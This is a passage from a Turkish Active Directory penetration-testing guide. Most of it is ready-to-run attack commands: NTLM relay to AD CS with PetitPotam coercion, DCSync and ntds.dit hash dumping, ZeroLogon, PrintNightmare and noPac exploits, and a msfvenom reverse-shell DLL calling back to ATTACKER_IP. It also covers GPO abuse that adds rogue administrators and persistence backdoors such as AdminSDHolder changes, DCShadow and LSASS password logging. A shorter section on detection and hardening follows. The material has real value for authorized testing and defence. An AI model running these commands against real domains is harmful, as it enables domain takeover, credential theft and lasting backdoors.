7.7 ESC8 — NTLM Relay → AD CS HTTP
AD CS HTTP enrollment endpoint'i (certsrv) NTLM kimlik doğrulamasını kabul ediyorsa, saldırgan DC'yi coerce ederek DC'nin NTLM kimlik bilgilerini ADCS'e relay edebilir ve DC adına sertifika alabilir.
# 1. NTLM relay başlat — ADCS HTTP'ye relay
python3 ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp --adcs \
--template DomainController
# 2. DC'yi coerce et (PetitPotam — MS-EFSR)
python3 PetitPotam.py ATTACKER_IP DC01_IP
# veya
python3 dfscoerce.py ATTACKER_IP DC01_IP # MS-DFSNM
python3 shadowcoerce.py ATTACKER_IP DC01_IP # MS-FSRVP
# 3. Relay sertifikayı alır (base64) → dosyaya kaydet
# 4. DC sertifikasıyla kimlik doğrula → NT hash
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10 -domain corp.local
# 5. DCSync
python3 secretsdump.py -hashes :DC01_NT_HASH 'corp.local/DC01$@10.10.10.10'
Bölüm 8: DCSync ve Domain Ele Geçirme
DCSync, Domain Controller olmadan replication API'sini kullanarak tüm domain hash'lerini dökmektir. İki temel hak gerektirir.
8.1 Gerekli Haklar
# Mevcut DCSync hakkı olanları bul
Get-DomainObjectAcl "DC=corp,DC=local" -ResolveGUIDs | Where-Object {
$_.ObjectAceType -match "DS-Replication-Get-Changes" -and
$_.ActiveDirectoryRights -match "ExtendedRight"
} | select IdentityReferenceName, ObjectAceType
# DCSync için gereken 3 genişletilmiş hak:
# - DS-Replication-Get-Changes (1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
# - DS-Replication-Get-Changes-All (1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
# - DS-Replication-Get-Changes-In-Filtered-Set (89e95b76-444d-4c62-991a-0facbeda640c)
8.2 DCSync Saldırısı
# Impacket secretsdump.py (Linux — en yaygın)
python3 secretsdump.py corp.local/jdoe:'Password123'@10.10.10.10
python3 secretsdump.py corp.local/jdoe:'Password123'@dc01.corp.local -just-dc
python3 secretsdump.py corp.local/jdoe:'Password123'@dc01.corp.local -just-dc-ntlm
python3 secretsdump.py corp.local/jdoe:'Password123'@dc01.corp.local -just-dc-user krbtgt
# Mimikatz (Windows — DC'ye network erişim gerekli)
lsadump::dcsync /domain:corp.local /user:krbtgt
lsadump::dcsync /domain:corp.local /all /csv
8.3 ntds.dit Çıkarma (Volume Shadow Copy)
DC'ye local erişim varsa, ntds.dit dosyasını doğrudan kopyalayabilirsiniz.
REM Gölge kopya oluştur
vssadmin create shadow /for=C:
REM ntds.dit ve SYSTEM hive'ını kopyala
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
reg save HKLM\SYSTEM C:\temp\SYSTEM.hive
REM Saldırı makinesine aktar
# Impacket ile çözümle
python3 secretsdump.py -ntds ntds.dit -system SYSTEM.hive LOCAL -outputfile domain_hashes
8.4 DSRM Account (Local DC Admin)
DSRM (Directory Services Restore Mode), DC'nin yerel yönetici hesabıdır. Genelde devre dışıdır ama çalıştırılabilir.
# DC üzerinde DSRM hesabını aktifleştir
# HKLM\System\CurrentControlSet\Control\Lsa\ → DsrmAdminLogonBehavior = 2
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
# DSRM şifresini set et (DC üzerinde)
ntdsutil "set dsrm password" "reset password on server null" quit quit
# DC'ye yerel admin olarak bağlan
crackmapexec smb DC01 -u Administrator -H DSRM_NTLM_HASH --local-auth
Bölüm 9: Kritik CVE'ler
9.1 ZeroLogon (CVE-2020-1472)
Teknik: Netlogon protokolünün NetrServerAuthenticate3 fonksiyonundaki AES-CFB8 şifreleme hatası. IV olarak sıfır kullanıldığında, sıfır-dolu bir client challenge ile yaklaşık 1/256 olasılıkla komputasyon doğrulama atlayabilir. 2^32 deneme gerekir ama ortalama 256 denemede başarıya ulaşır.
Etki: Kimlik doğrulama olmadan DC'nin makine hesabı şifresini sıfırlama → domain ele geçirme.
# Güvenlik araştırması için — PoC (yetkili test)
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
# DC makine hesabı boş şifre ile authenticate
python3 secretsdump.py -no-pass -just-dc corp.local/'DC01$'@10.10.10.10
# ÖNEMLI: Bu saldırı DC'nin şifresini sıfırlar ve domain çakılabilir
# MUTLAKA eski şifreyi geri yüklemelisiniz (impacket restorepassword.py)
python3 restorepassword.py corp.local/DC01@10.10.10.10 -target-ip 10.10.10.10 -hexpass ORIGINAL_HEX
Yama: MS20-073 — Ekim 2020'den itibaren zorunlu Netlogon güvenli kanal.
9.2 PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
Teknik: Windows Print Spooler (spoolsv.exe) servisinin RpcAddPrinterDriverEx fonksiyonu, yetkisiz kullanıcıların uzaktan SYSTEM yetkileriyle DLL yüklemesine izin verir.
# Impacket — PrintNightmare exploit
python3 CVE-2021-1675.py corp.local/jdoe:'Password123'@10.10.10.10 '\\ATTACKER_IP\share\evil.dll'
# cube0x0 PoC (Windows'tan)
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -DLL "\\ATTACKER_IP\share\evil.dll"
# Önce SMB share + DLL hazırla
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll > evil.dll
python3 -m impacket.smbserver share . -smb2support
Yama: MS21-034 + Print Spooler'ı gereksiz sistemlerde devre dışı bırakın.
9.3 noPac — sAMAccountName Spoofing (CVE-2021-42278 + CVE-2021-42287)
Teknik: İki CVE birleşimidir:
- CVE-2021-42278: Makine hesabının
sAMAccountName'i üzerinde$son eki zorunlu değil — herhangi bir isim kullanılabilir. - CVE-2021-42287: TGT talebinde bulunan kullanıcı silinirse/yeniden adlandırılırsa KDC, DC hesabını bulup bilet üretir.
Sonuç: Makine hesabı oluşturun → sAMAccountName = DC adı → TGT isteyin → hesabı silin/yeniden adlandırın → KDC DC biletini verir → DCSync.
# noPac.py (tek araç, tüm adımları otomatikleştirir)
python3 noPac.py corp.local/jdoe:'Password123' -dc-ip 10.10.10.10 -dc-host DC01 -shell --impersonate administrator
python3 noPac.py corp.local/jdoe:'Password123' -dc-ip 10.10.10.10 -dc-host DC01 --dump --impersonate administrator
# Manuel adımlar
# 1. Makine hesabı oluştur (msDS-MachineAccountQuota >= 1)
python3 addcomputer.py corp.local/jdoe:'Password123' -method ldaps -computer-name 'ATTACK$' -computer-pass 'P@ss1234'
# 2. sAMAccountName'i DC adı ile aynı yap ($ olmadan)
python3 renameMachine.py corp.local/jdoe:'Password123' -current-name 'ATTACK$' -new-name 'DC01'
# 3. TGT iste
python3 getTGT.py corp.local/'DC01':'P@ss1234' -dc-ip 10.10.10.10
# 4. sAMAccountName'i değiştir (KDC DC01'i bulamaz → DC01$'a fallback)
python3 renameMachine.py corp.local/jdoe:'Password123' -current-name 'DC01' -new-name 'ATTACK2$'
# 5. DCSync
python3 secretsdump.py -k -no-pass DC01@10.10.10.10 -just-dc
Yama: MS21-071 — Kasım 2021. sAMAccountName'de $ zorunluluğu getirildi.
9.4 PetitPotam (CVE-2021-36942)
Teknik: MS-EFSR (Encrypting File System Remote) protokolünün EfsRpcOpenFileRaw fonksiyonu, hedef sunucuyu saldırgan UNC yoluna NTLM authenticate olmaya zorlar. Kimlik doğrulama gerektirmez.
# PetitPotam ile coercion
python3 PetitPotam.py ATTACKER_IP DC01_IP
python3 PetitPotam.py -u jdoe -p 'Password123' -d corp.local ATTACKER_IP DC01_IP # auth
# ESC8 ile birleşim (en güçlü kombinasyon)
# Terminal 1: NTLM relay → ADCS
python3 ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp --adcs --template DomainController
# Terminal 2: DC'yi coerce et
python3 PetitPotam.py ATTACKER_IP DC01_IP
# Terminal 3: Sertifikayı auth için kullan
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10
# Terminal 4: DCSync
python3 secretsdump.py -hashes :DC01_HASH 'corp.local/DC01$@10.10.10.10'
9.5 PrivExchange
Exchange makine hesabının domain kök nesnesi üzerinde WriteDACL hakkı vardır. Bu, Exchange sunucusunu bir hedefe kimlik doğrulamaya zorlamak ve bu kimlik bilgilerini relay ederek DCSync hakları kazanmakla sonuçlanır.
python3 privexchange.py -ah ATTACKER_IP exchange01.corp.local -u jdoe -p 'Password123' -d corp.local
# Parallel: ntlmrelayx ile relay
python3 ntlmrelayx.py -t ldap://DC01 --escalate-user jdoe
Bölüm 10: GPO Saldırıları
10.1 GPO Numaralandırma
# Tüm GPO'ları listele
Get-DomainGPO | select displayname, gpcfilesyspath, whenchanged
# Üzerinde kontrol sahibi olduğumuz GPO'lar
Get-DomainGPO | Get-ObjectAcl -ResolveGUIDs | Where-Object {
($_.ActiveDirectoryRights -match "GenericAll|WriteDacl|CreateChild|WriteProperty") -and
($_.SecurityIdentifier -match "jdoe|IT_Helpdesk_SID")
}
# OU → GPO link analizi
Get-DomainOU -Properties gplink | Where-Object {$_.gplink -ne $null}
# Belirli bir OU'ya uygulanan GPO
Get-DomainGPO -ComputerIdentity WORKSTATION01
10.2 GPO Abuse ile Kod Çalıştırma
# SharpGPOAbuse — GPO üzerinde CreateChild/WriteProperty varsa
# Immediate Scheduled Task ekle
SharpGPOAbuse.exe --AddComputerTask --TaskName "Backdoor" --Author "NT AUTHORITY\SYSTEM" \
--Command "cmd.exe" --Arguments "/c net localgroup administrators jdoe /add" \
--GPOName "Default Domain Policy"
# Kullanıcı oturum betiği ekle
SharpGPOAbuse.exe --AddUserScript --ScriptName "payload.bat" \
--ScriptContents "net user hacker P@ss123! /add && net localgroup administrators hacker /add" \
--GPOName "Default Domain Policy"
# PowerView ile GPO link
New-GPO -Name "Malicious" | New-GPLink -Target "OU=Workstations,DC=corp,DC=local"
Bölüm 11: Forest Trust Saldırıları
11.1 Trust Numaralandırma
# Trust ilişkileri
Get-DomainTrust
nltest /domain_trusts /all_trusts
Get-ForestTrust
# Trust tipi: Bidirectional, External, Forest
# TrustAttributes: 0x04 = Forest, 0x08 = Cross-org, 0x20 = Treat as external
11.2 SID History Abuse (ExtraSIDs Saldırısı)
# Şart: Kaynak domain → hedef domain tek yönlü trust
# Hedef domain DA SID'ini ExtraSIDs'e ekle
Get-DomainSID -Domain targetdomain.local
# Mimikatz — inter-forest Golden Ticket
kerberos::golden /user:Administrator /domain:source.local /sid:S-1-5-21-SOURCE /sids:S-1-5-21-TARGET-519 /krbtgt:KRBTGT_HASH /ptt
# S-1-5-21-TARGET-519 = target domain Enterprise Admins RID
11.3 Trust Ticket
# Trust key hash al
lsadump::dcsync /domain:source.local /user:target$ # inter-forest trust account
# Trust ticket oluştur
kerberos::golden /user:Administrator /domain:source.local /sid:S-1-5-21-SOURCE \
/sids:S-1-5-21-TARGET-519 /rc4:TRUST_KEY_HASH /service:krbtgt /target:targetdomain.local /ptt
Bölüm 12: Kalıcılık (Persistence)
12.1 DCSync Hakları
# Kendimize DCSync hakkı ver (WriteDACL gerekli)
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity backdoor_user -Rights DCSync
12.2 AdminSDHolder Manipülasyonu
# AdminSDHolder'a GenericAll ekle → saatlik SDProp ile tüm korunan hesaplara yayılır
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" \
-PrincipalIdentity backdoor_user -Rights All
12.3 DSRM Account
# DC'nin yerel admin şifresini sıfırla
# DsrmAdminLogonBehavior = 2 ile remote login aktif et
12.4 DCShadow
Sahte bir Domain Controller gibi davranarak AD'ye zararlı değişiklikler push etme.
# Terminal 1 (DC rolünü simüle et)
lsadump::dcshadow /object:krbtgt /attribute:unicodePwd /value:"P@ssw0rd!"
# Terminal 2 (değişikliği tetikle)
lsadump::dcshadow /push
12.5 Custom SSP (Security Support Provider)
# Mimikatz mimilib.dll'yi LSASS'a yükle → tüm şifreler loglanır
misc::memssp
# Loglar: C:\Windows\System32\kiwissp.log
Bölüm 13: Savunma ve Tespit
13.1 Kritik Windows Event ID'leri
| Event ID | Açıklama | Saldırı |
|---|---|---|
| 4768 | Kerberos TGT isteği | AS-REP Roasting |
| 4769 | Kerberos TGS isteği | Kerberoasting |
| 4770 | Kerberos TGT yenileme | — |
| 4672 | Özel ayrıcalık oturumu | Admin login |
| 4624 | Başarılı login | PtH, PtT |
| 4625 | Başarısız login | Password spray |
| 4776 | NTLM doğrulama | NTLM relay |
| 4662 | Nesne üzerinde işlem | DCSync (DS-Replication) |
| 4738 | Kullanıcı hesabı değiştirildi | Attribute manipulation |
| 4742 | Bilgisayar hesabı değiştirildi | RBCD, noPac |
| 5136 | Dizin servisi nesnesi değiştirildi | Attribute değişikliği |
| 4648 | Explicit credential ile login | PtH |
13.2 Tespit ve Önlemler
Kerberoasting Önlemleri:
- Servis hesapları için Managed Service Account (MSA) veya Group Managed Service Account (gMSA) kullan
msDS-SupportedEncryptionTypes = 24(yalnızca AES) zorla- 25+ karakterlik servis hesabı şifreleri kullan
- Honeypot SPN hesapları oluştur (uyarı tetikleyici)
AS-REP Roasting Önlemleri:
DONT_REQUIRE_PREAUTHflag'ini kaldır (gereksiz hesaplarda)- AES128/256 şifreleme zorunlu kıl
ACL Abuse Önlemleri:
- BloodHound CE ile periyodik ACL taraması
- Tier model uygula: Tier 0 (DC), Tier 1 (Sunucular), Tier 2 (Kullanıcılar)
- AD ACL tarama:
Get-DomainObjectAclile yazma haklarını denetle
Delegation Güvenliği:
- Unconstrained delegation: kaldır veya Protected Users grubuna al
msDS-MachineAccountQuota = 0yap (RBCD önlemi)- Constrained delegation yerine RBCD tercih et, minimize et
ADCS Güvenliği:
- Certipy / Certify ile periyodik ESC taraması
- EDITF_ATTRIBUTESUBJECTALTNAME2 kapatın
- HTTP enrollment'ta EPA (Extended Protection for Authentication) zorunlu kılın
- Şablon onay yöneticisi zorunluluğu getirin
DCSync Önlemleri:
- DS-Replication-Get-Changes haklarını denetle (yalnızca DC'ler ve AD Connect)
- 4662 + 1131f6aa GUID kombinasyonunu izle
Genel Sertleştirme:
Protected Usersgrubunu kullan (Kerberos delegation, NTLM, WDigest devre dışı)- LAPS aktif et
- SMB signing zorunlu kıl (NTLM relay önlemi)
- LDAP signing + channel binding zorunlu kıl
- Credential Guard etkinleştir (NTLM hash çalma önlemi)
- PAM (Privileged Access Management) çözümü uygula
- Print Spooler gereksiz sistemlerde devre dışı bırak
Araç Seti Özeti
| Araç | Kaynak | Kategori |
|---|---|---|
| BloodHound / SharpHound | github.com/BloodHoundAD | Enumeration, path finding |
| PowerView (PowerSploit) | github.com/PowerShellMafia | AD query, ACL |
| Rubeus | github.com/GhostPack/Rubeus | Kerberos tickets |
| Mimikatz | github.com/gentilkiwi/mimikatz | Hash dump, ticket |
| Impacket | github.com/fortra/impacket | Protocol tools |
| CrackMapExec | github.com/byt3bl33d3r/CrackMapExec | SMB/LDAP/WinRM |
| Certipy | github.com/ly4k/Certipy | ADCS attacks |
| Whisker | github.com/eladshamir/Whisker | Shadow Credentials |
| PowerMad | github.com/Kevin-Robertson/Powermad | Machine accounts |
| PetitPotam | github.com/topotam/PetitPotam | NTLM coercion |
| Responder | github.com/lgandx/Responder | NTLM capture |
| noPac | github.com/cube0x0/noPac | CVE-2021-42278/42287 |
AD Pentest Kontrol Listesi
Keşif
- [ ] Anonymous LDAP bind test edildi
- [ ] Null session SMB test edildi
- [ ] Domain controller, FQDN, IP tespiti yapıldı
- [ ] SharpHound / BloodHound verisi toplandı
- [ ] SPN'li hesaplar listelendi (Kerberoasting)
- [ ] DONT_REQUIRE_PREAUTH hesaplar listelendi (AS-REP)
- [ ]
adminCount=1hesaplar listelendi - [ ]
msDS-MachineAccountQuotadeğeri kontrol edildi - [ ] LAPS aktif bilgisayarlar listelendi
- [ ] GPO'lar ve bağlı OU'lar numaralandırıldı
- [ ] Trust ilişkileri haritalandı
Kimlik Bilgisi Saldırıları
- [ ] Password spray denenди (lockout hesaba katılarak)
- [ ] AS-REP Roasting denenди
- [ ] Kerberoasting denendi
- [ ] Responder ile NTLM hash yakalandı
- [ ] NTLM relay denenди (SMB signing kontrol)
ACL Analizi
- [ ] BloodHound'da "Owned" kullanıcılardan outbound edge analizi
- [ ] Tehlikeli ACE'ler (GenericAll, WriteDACL, WriteOwner) tespit edildi
- [ ] Shadow Credentials (msDS-KeyCredentialLink) denenди
- [ ] AdminSDHolder ACL incelendi
- [ ] GPO write access kontrol edildi
Delegation
- [ ] Unconstrained delegation bilgisayarları tespit edildi
- [ ] Constrained delegation hesapları ve SPN listeleri incelendi
- [ ] RBCD için GenericWrite hedefler tespit edildi
ADCS
- [ ] ADCS varlığı tespit edildi
- [ ] Certipy ile ESC1-ESC8 taraması yapıldı
- [ ] HTTP enrollment NTLM denenді
- [ ] EDITF_ATTRIBUTESUBJECTALTNAME2 flag kontrol edildi
Domain Ele Geçirme
- [ ] DCSync hakları kontrol edildi
- [ ]
krbtgthash alındı (DCSync, VSS veya ADCS ile) - [ ] Golden Ticket oluşturuldu ve doğrulandı
- [ ] Kalıcılık mekanizması not edildi
CVE Kontrolleri
- [ ] ZeroLogon (CVE-2020-1472) yama kontrolü
- [ ] PrintNightmare (CVE-2021-1675) yama kontrolü
- [ ] noPac (CVE-2021-42278/42287) yama kontrolü
- [ ] PetitPotam (CVE-2021-36942) yama kontrolü
Sonuç
Active Directory, kurumsal ağların kalbidir. Yukarıda incelenen her saldırı vektörü, gerçek red team operasyonlarında defalarca kanıtlanmış tekniklerdir. Kerberoasting'den Shadow Credentials'a, ADCS ESC1'den RBCD'ye, ZeroLogon'dan noPac'e kadar her bir teknik, AD'nin tasarım kararlarından ya da yanlış yapılandırmalarından kaynaklanır.
Savunma perspektifinden bakıldığında: BloodHound'u defensif olarak kullanmak, tier model uygulamak, ADCS ortamını düzenli taramak ve kritik event ID'leri izlemek, saldırganın işini önemli ölçüde zorlaştırır.
Saldırı perspektifinden bakıldığında: Tek bir misconfigured ACE, Kerberoastable bir servis hesabı veya ESC1 açığı, domain'in tamamen ele geçirilmesiyle sonuçlanabilir.
Araştırmacılar: Will Schroeder (Rubeus, BloodHound) • Harmj0y (PowerView, BloodHound) • Andy Robbins (BloodHound) • Elad Shamir (Shadow Credentials) • Oliver Lyak (Certipy) • Simone Saviolo & Riccardo Ancarani (noPac) • Sébastien Thibault (PetitPotam) • Nikhil Mittal (PowerAD)
Konferanslar: DEF CON • Black Hat • BlueHat • SANS
Atıflar: SpecterOps "Certified Pre-Owned" (2021) • "Abusing Active Directory Permissions" (harmj0y) • Microsoft MSRC Advisory CVE-2020-1472 / CVE-2021-36942
- Active Directory Security Testing: The Complete Attacker's Perspective
- Kerberos Protocol Internals: Tickets, PAC, and the Security Implications
- AD Certificate Services Deep Dive: ESC1 to ESC8 Attack Paths
- BloodHound CE for Defensive AD Analysis: Attack Path Management
- Windows Credential Access: LSASS, DPAPI, SAM, and Browser Secrets
Frequently Asked Questions
Where do you start an Active Directory penetration test?
Start with low-privilege enumeration: map users, groups, computers, GPOs and trusts with tools like BloodHound, ldapsearch, and PowerView. Identify quick wins such as AS-REP roastable accounts, Kerberoastable service accounts, and misconfigured ACLs before attempting any active exploitation.
What is the difference between Kerberoasting and AS-REP Roasting?
Kerberoasting targets accounts with a Service Principal Name (SPN): any authenticated user can request a service ticket and crack it offline for the service account's password. AS-REP Roasting targets accounts that have Kerberos pre-authentication disabled, letting you retrieve a crackable AS-REP without any credentials.
What is a DCSync attack?
DCSync abuses the Directory Replication Service (DRSUAPI) protocol: an account with the 'Replicating Directory Changes' rights (normally only Domain Controllers and high-privilege groups) can ask a DC to replicate password hashes — including the krbtgt hash — enabling Golden Ticket forgery and full domain compromise.
How can defenders detect Active Directory attacks?
Monitor for anomalous Kerberos ticket requests (event 4769 with RC4 encryption), AS-REP requests for pre-auth-disabled accounts, replication requests from non-DC hosts (DCSync), sudden ACL changes, and certificate enrollment anomalies. BloodHound Community Edition and honeytoken accounts help surface attack paths and early-stage activity.